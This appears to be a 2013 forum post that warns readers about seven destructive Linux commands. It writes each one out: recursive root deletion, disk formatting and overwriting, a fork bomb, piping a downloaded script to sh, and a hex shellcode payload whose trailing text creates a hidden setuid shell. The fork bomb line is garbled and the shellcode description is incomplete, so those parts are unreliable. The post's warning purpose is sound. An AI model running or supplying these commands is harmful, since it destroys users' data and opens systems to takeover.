7 Most Dangerous Linux Commands (Don't try this at home) - Abdillah Firdaus - 06-07-2013
First command:
rm -rf / #with root privilege such as 'sudo'
This command will delete your entire files on mounted devices!
........................................................
Second command:
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
Hexadecimal code! Same as the first command, it will delete entire files on your mounted devices.
........................................................
Third command:
mkfs.ext3 /dev/sda
This command will format your /dev/sda device and of course will delete all files on it.
........................................................
Fourth command:
){:|:&};:Will run too many processes on your system and causes the computer hang up!
........................................................
Fifth command:
any_command > /dev/sda
Will write a raw data and all files on /dev/sda will be replaced by the raw data.
........................................................
Sixth command:
wget http://trap_source -O- | sh
Wil download a shell script from untrusted source and run it when the download finished.
........................................................
Seventh command:
mv /home/username/* /dev/null
Will move home directory to a place that actually doesn't exist. In other words, it will delete your home directory.
........................................................
So be careful and do a check before running such commands on your system.
